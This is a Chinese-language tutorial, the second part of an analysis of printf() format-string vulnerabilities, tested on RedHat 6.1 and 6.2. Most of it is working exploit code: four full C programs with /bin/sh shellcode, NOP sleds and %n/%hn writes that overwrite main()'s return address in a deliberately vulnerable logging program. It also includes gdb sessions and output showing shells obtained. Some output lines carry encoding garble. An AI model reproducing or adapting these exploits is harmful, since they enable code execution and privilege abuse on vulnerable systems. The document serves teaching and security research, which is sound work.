*printf()格式化串安全漏洞分析(下) 测试平台:RedHat 6.1, RedHat 6.2 (Intel i386) (继续)
那么让我们来写一个简单的测试程序来看一下: <- begin -> exp.c #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 0 #define DEFAULT_ALIGNMENT 2 // 我们使用两个字节来进行"对齐" #define DEFAULT_RETLOC 0xbffff6dc // 存放main()返回地址的地址 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr, *egg; char *env[2]; long shell_addr,retloc=DEFAULT_RETLOC; int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; int fmt_num=4, i; if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址 if (argc > 2) offset = atoi(argv[2]); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using Ret location address: 0x%x\n", retloc); shell_addr = get_esp() + offset; //计算我们shellcode所处的地址 printf("Using Shellcode address: 0x%x\n", shell_addr); ptr = buff; memset(buff,'A',4); i = align; buff[i] = retloc & 0x000000ff; // 将retloc放到buff里 buff[i+1] = (retloc & 0x0000ff00) >> 8; buff[i+2] = (retloc & 0x00ff0000) >> 16; buff[i+3] = (retloc & 0xff000000) >> 24; ptr = buff + i + 4; for(i = 0 ; i < 4 ; i++ ) //存放%.10u%.10u%.10u%.10u { memcpy(ptr, "%.10u", 5); ptr += 5; } /* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr, * 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4 * 将这个长度作为第5个%u的宽度值 */ sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul","vul",buff,NULL,env); } /* end of main */ <- end -> 注意:在我们的程序里,我们实际使用的模式是: AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n 选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会 显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显 示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也 就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是 RETloc,也就是main()的返回地址了。这也很简单: [root@rh62 /root]# ./x 0x41414141 Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize> Using Ret location address: 0x41414141 Using Shellcode address: 0xbffffb08 Segmentation fault (core dumped) [root@rh62 /root]# gdb ./vul core GNU gdb 19991004 <....> #0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4, format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", ap=0xbffff2e8) at vfprintf.c:1212 1212 vfprintf.c: No such file or directory. (gdb) bt #0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4, format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", ap=0xbffff2e8) at vfprintf.c:1212 #1 0x40070716 in _IO_vsnprintf ( string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023, format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", args=0xbffff2d0) at vsnprintf.c:129 #2 0x80484de in log (level=1, fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n") at vul.c:13 #3 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33 (gdb) i f 3 -----> 查看main()的栈帧 Stack frame at 0xbffff6d8: eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb caller of frame at 0xbffff2c0 source language c. Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724 Locals at 0xbffff6d8, Previous frame's sp is 0x0 Saved registers: ebp at 0xbffff6d8, eip at 0xbffff6dc ----> OK,存放eip的地址是0xbffff6dc (gdb) 好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧: [root@rh62 /root]# ./x 0xbffff6dc Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize> Using Ret location address: 0xbffff6dc Using Shellcode address: 0xbffffb08 argv[1] = AA荟�?.10u%.10u%.10u%.10u%.3221224144u%n Segmentation fault (core dumped) [root@rh62 /root]# gdb ./vul core <....> #0 0x42 in ?? () (gdb) bt #0 0x42 in ?? () (gdb) x/x 0xbffff6dc 0xbffff6dc: 0x00000042 (gdb) 很可惜,并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来, 根据测试,至少大于0x90000000的长度都不能正确显示,具体原因还有待研究。感兴趣的读者 可以自行分析一下。为了得到一个可以工作的版本,我们改动一下vul.c和exp.c: <- begin -> vul1.c #include <stdarg.h> #include <unistd.h> #include <syslog.h> #define BUFSIZE 1024 char egg[BUFSIZE]; int log(int level, char *fmt,...) { char buf[BUFSIZE]; va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf)-1, fmt, ap); buf[BUFSIZE-1] = '\0'; syslog(level, "[hmm]: %s", buf); va_end(ap); } int main(int argc, char **argv) {
char buf[BUFSIZE]; int i,num; if(getenv("EGG")) { /* 我们将环境EGG的内容复制到一个全局buffer里, * 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示 */ strncpy(egg, getenv("EGG"), BUFSIZE-1); egg[BUFSIZE-1] = '\0'; } num = argc ; if(argc > 1) { for ( i = 1 ; i < num ; i ++ ) { snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]); buf[BUFSIZE-1] = '\0'; log(LOG_ALERT, buf); // 这里有问题 printf("argv[%d] = %s \n", i, argv[i]); } } } <- end -> <- begin -> exp1.c #include <stdlib.h> #include <unistd.h> #define DEFAULT_ALIGNMENT 2 #define DEFAULT_RETLOC 0xbffffadc #define DEFAULT_SHELLADDR 0x8049800 //我们的shellcode地址在Heap/BSS段 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 1024 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr, *egg; char *env[2]; long retloc = DEFAULT_RETLOC; long shell_addr = DEFAULT_SHELLADDR; int align = DEFAULT_ALIGNMENT; int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE; int i; if (argc > 1) sscanf(argv[1],"%x",&retloc); if (argc > 2) sscanf(argv[2],"%x",&shell_addr); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using RET location address: %#x\n", retloc); printf("Using Shellcode address: %#x\n", shell_addr); ptr = buff; memset(buff,'A',4); i = align; buff[i] = retloc & 0x000000ff; buff[i+1] = (retloc & 0x0000ff00) >> 8; buff[i+2] = (retloc & 0x00ff0000) >> 16; buff[i+3] = (retloc & 0xff000000) >> 24; ptr = buff + i + 4; for(i = 0 ; i < 4 ; i++ ) { memcpy(ptr, "%.10u", 5); ptr += 5; } sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul1","vul1",buff,NULL,env); } /* end of main */ <- end -> 这里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端: 0x8000000以后的地址,这个地址将可以被正确显示,因此就可以正确的覆盖main()的 返回地址,并跳到那里去执行我们的shellcode.这个地址的获取,也可以通过gdb跟踪 得到,这里不再赘述。 [root@rh62 /root]# ./exp1 0xbffffadc 0x8049800 Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> Using RET location address: 0xbffffadc Using Shellcode address: 0x8049800 argv[1] = AA茭�?.10u%.10u%.10u%.10u%.134518728u%n bash# 很好,成功了!注意在得到#号提示符前,通常需要等待几秒钟,这是因为显示0x8049800 个字符也是颇需要一段时间的.(当然,结果并没有显示在标准输出上) :-) <2> 攻击方法二:多次覆盖返回地址(1) ==================================== 上面的程序只能在RedHat 6.2这样的系统上成功,在RedHat 6.1下它是不能成功的。原因 前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢?并不是这样的,只要我们动 一下脑筋,就会发现由于这个问题程序自身的特点颐窃赗edHat 6.1下也可以成功的进行 攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数,而制约我们的攻击程序的 因素就是显示的长度,那么如果我们不显示那么长的内容,vsnprintf()是可以正常工作的: AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n 我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分: shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4 例如,假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成 存放shellcode的地址:0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是: SH1 = 0xbf SH2 = 0xff SH3 = 0xfc SH4 = 0xec 我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是: AA|RETloc |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n 注意:我们考虑的是Intel x86的系统,因此,排列顺序是反序的 下图可以让你更清楚的看到每一次覆盖后的变化: RETloc RETloc+1 RETloc+2 RETloc+3 |0x11 | 0x22 | 0x33 |0x44| 原来存放的地址: 0x44332211 |0xec | 0x00 | 0x00 |0x00| 第一次覆盖SH4: 0x000000ec |0xec | 0xfc | 0x00 |0x00| 0x00| 第二次覆盖SH3: 0x0000fcec |0xec | 0xfc | 0xff |0x00| 0x00| 0x00| 第三次覆盖SH2: 0x00fffcec |0xec | 0xfc | 0xff |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec 需要特别注意的是:这样四次覆盖之后,将导致原来存放函数参数的地址内容被清零, 例如RETloc+4,RETloc+5,RETloc+6等处,如果该函数在覆盖以后仍然需要访问这几个参 数,可能会导致函数不能正常退出,特别是一些极端依赖函数参数的情况下。 另外一个问题是程序是否允许你连续四次进行覆盖,如果只能覆盖一次,也不能达到我们 的目的,不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数 ,那么我们只要提供四个命令行参数就可以进行四次覆盖了。 <- begin -> exp2.c #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 500 #define DEFAULT_ALIGNMENT 2 #define DEFAULT_RETLOC 0xbffffa6c #define DEFAULT_BUFFER_SIZE 128 #define DEFAULT_EGG_SIZE 1024 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff[4], *ptr, *egg; char *env[2]; long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr; int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; int i,j; if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */ if (argc > 2) offset = atoi(argv[2]); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]); for(i = 0 ; i < 4 ; i++ ) { if (!(buff[i] = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using RET location address: 0x%x\n", retloc); shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */ printf("Using Shellcode address: 0x%x\n", shell_addr); for(j = 0; j < 4 ; j++) { ptr = buff[j]; memset(ptr,'A',4); ptr += align; (*ptr++) = retloc & 0x000000ff; /* 填充retloc */ (*ptr++) = (retloc & 0x0000ff00) >> 8; (*ptr++) = (retloc & 0x00ff0000) >> 16; (*ptr++) = (retloc & 0xff000000) >> 24; retloc++; /* retloc地址后移一个字节,以便进行下一次覆盖 */ for(i = 0 ; i < 4 ; i++ ) { memcpy(ptr, "%.10u", 5); /* 输入格式串,调整%n所对应的位置 */ ptr += 5; } tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */ if(tmpaddr > 56 ) /* 计算最后一个%nu中的n值 */ sprintf(ptr, "%%.%uu%%n", tmpaddr - 56); else sprintf(ptr, "%%.%uu%%n", 1); } ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env); } /* end of main */ <- end -> [root@rh62 /root]# ./exp2 Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize> Using RET location address: 0xbffffa6c Using Shellcode address: 0xbffffcec
argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n bash# 注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果 0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56) ,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们 的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址 的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些 NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行 我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。 这个程序在RedHat 6.1和RedHat 6.2下都验证通过。 <3> 攻击方法三:多次覆盖返回地址(2) ====================================== 有读者可能会说,这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次 机会,是不是就不行了呢?其实,还有一种方法可以完成我们的任务。基本思路也是分四次 来覆盖,只不过通过一个*printf()就可以完成了,考虑下列这种情况: |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n ^ ^ ^ ^ | | | | | | | |_________________|______|______|______| | | |__________________________|______|______| | |___________________________________|______| |____________________________________________| 我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数, 使第一个%n对应RET1,第二个%n对应RET2,第三个%n对应RET3,第四个%n对应RET4,那么我 们就成功了一半了。当然我们要让: RET1 = RETloc RET2 = RETloc + 1 RET3 = RETloc + 2 RET4 = RETloc + 3 n1 = SH4 - 1*4 - 12 - 4 - 8*3 (1*4是4个%c显示的长度,12是"AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后 面三组"AAAARET"的长度) n2 = SH3 - SH4 n3 = SH2 - SH3 n4 = SH1 - SH2 这样,在碰到第一个%n时,显示总长度就是SH4,碰到第二个%n时,显示总长度就是 SH3,依 此类推。 注意:由于SH1通常等于0xbf(如果是在堆栈中的话),而SH2通常等于0xff,SH1<SH2, 因此我们给SH1加上一个大数0x0100,让它变成0x01BF,这样在进行第四次覆盖的时候: 会将RETloc+4变成0x01,但这通常并不会造成大的影响,RETloc+3仍然被正确的改成了0xbf RETloc RETloc+1 RETloc+2 RETloc+3 |0xec | 0xfc | 0xff |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec 因此,我们让n4 = 0x0100 + SH1 - SH2 另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定 我们的显示长度,只要n>0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方 便。(注意不能使用%.nc的格式,这不起作用) 不过%nc会使用空格来填充空白部分,如果 应用程序将空格作为分隔符来解释时,可能会出问题。 <- begin -> exp3.c #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 550 #define DEFAULT_ALIGNMENT 2 #define DEFAULT_RETLOC 0xbffffabc #define DEFAULT_BUFFER_SIZE 128 #define DEFAULT_EGG_SIZE 1024 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr, *egg; char *env[2]; long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr; int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; int i,SH1,SH2,SH3,SH4,oldSH4; if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */ if (argc > 2) offset = atoi(argv[2]); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using RET location address: 0x%x\n", retloc); shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */ printf("Using Shellcode address: 0x%x\n", shell_addr); SH1 = (shell_addr >> 24) & 0xff; SH2 = (shell_addr >> 16) & 0xff; SH3 = (shell_addr >> 8) & 0xff; SH4 = (shell_addr >> 0) & 0xff; /* 如果SH4小于44,我们就增大它的值,让它等于44 + 1,以免出现负值 */ if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) { oldSH4 = SH4; SH4 = 4 + 12 + 4 + 8*3 + 1; printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4); } ptr = buff; for (i = 0; i <4 ; i++, retloc++ ){ memset(ptr,'A',4); ptr += 4 ; (*ptr++) = retloc & 0xff; /* 填充retloc+n (n= 0,1,2,3) */ (*ptr++) = (retloc >> 8 ) & 0xff ; (*ptr++) = (retloc >> 16 ) & 0xff ; (*ptr++) = (retloc >> 24 ) & 0xff ; } for(i = 0 ; i < 4 ; i++ ) { memcpy(ptr, "%c", 2); /* 输入格式串,调整%n所对应的位置 */ ptr += 2; } /* "输入"我们的shellcode地址 */ sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3), (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) ); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul","vul",buff + align, NULL,env); } /* end of main */ <- end -> 验证一下: [warning3@rh62 format]$ ./exp3 Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize> Using RET location address: 0xbffffabc Using Shellcode address: 0xbffffcfa argv[1] = AA贱�緼AAA晋�緼AAA菌�緼AAA窥�?c%c%c%c%206c%n%2c%n%3c%n%192c%n bash$ id uid=500(warning3) gid=500(warning3) groups=500(warning3) 这个程序在redhat 6.1和redhat 6.2下均验证通过 <4> 攻击方法三:多次覆盖返回地址(利用%hn) ========================================= 在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位: main() { int a=0x41414141; printf("a=%#x%hn\n",a,&a); printf("a=%#x\n",a); } [warning3@redhat-6 wuftp]$ ./aa a=0x41414141 a=0x4141000c <....>用gdb看一下: (gdb) b 5 Breakpoint 1 at 0x80483ea: file aa.c, line 5. (gdb) r Starting program: /home/warning3/wuftp/./aa a=0x41414141 Breakpoint 1, main () at aa.c:5 5 printf("a=%#x\n",a); (gdb) p &a $1 = (int *) 0xbffffcb4 (gdb) x/4b 0xbffffcb4 0xbffffcb4: 0x0c 0x00 0x41 0x41 因此我们只要覆盖两次就可以了,具体的方法和前面相似,有兴趣的读者可以自行测试一下。 这种方法的好处是我们不会覆盖多余的地址,它只覆盖指定地址的两个字节内容! 综合上面的几种方法,我们会看到第三和第四种方法是最通用的,可以适用于各种情况。第 一种和第二种都有其自己的局限性,更多的依赖于应用程序自身的特点。
不过这几种方法都由一个局限,就是必须非常精确的给定存放返回地址的地址:retloc,错一 个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功, 是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc就可以了,并不需要 知道retloc确切的值。而这里,我们必须精确指定retloc,将shellcode地址直接填充到返回地 址中去。而由于retloc的大小和用户环境变量等因素有很大关系,往往不是很确定,所以不是 那么容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将 shellcode地址存到这些地址去,那么我们不就可以增大成功的把握了吗?利用第4种方法,使 很容易做到这一点的。具体的操作有兴趣的读者可以自行测试,也可以与我联系。 另外,%n并不仅仅局限于用来覆盖返回地址,也可以用来覆盖某些保存的数据,比如保存 的uid,gid等等。
结?/h4>======== 这种格式化串导致的溢出问题,虽然看起来比较复杂,实际上只要程序员在书写应用程序 时稍加注意,是完全可以避免的。看来粗心真的是安全的大敌。:-) 由于时间仓促,文中 错疏之处难免,敬请批评指正。 参考文献 ========== [1] <<Format Bugs: What are they, Where did they come from,......... How to exploit them>> , lamagra ([email protected]) [2] <<Remote shell via Qpopper2.53>> , prizm ([email protected]) [3] <<More info on format bugs>>, Pascal Bouchareine [ kalou <[email protected]> ] 
|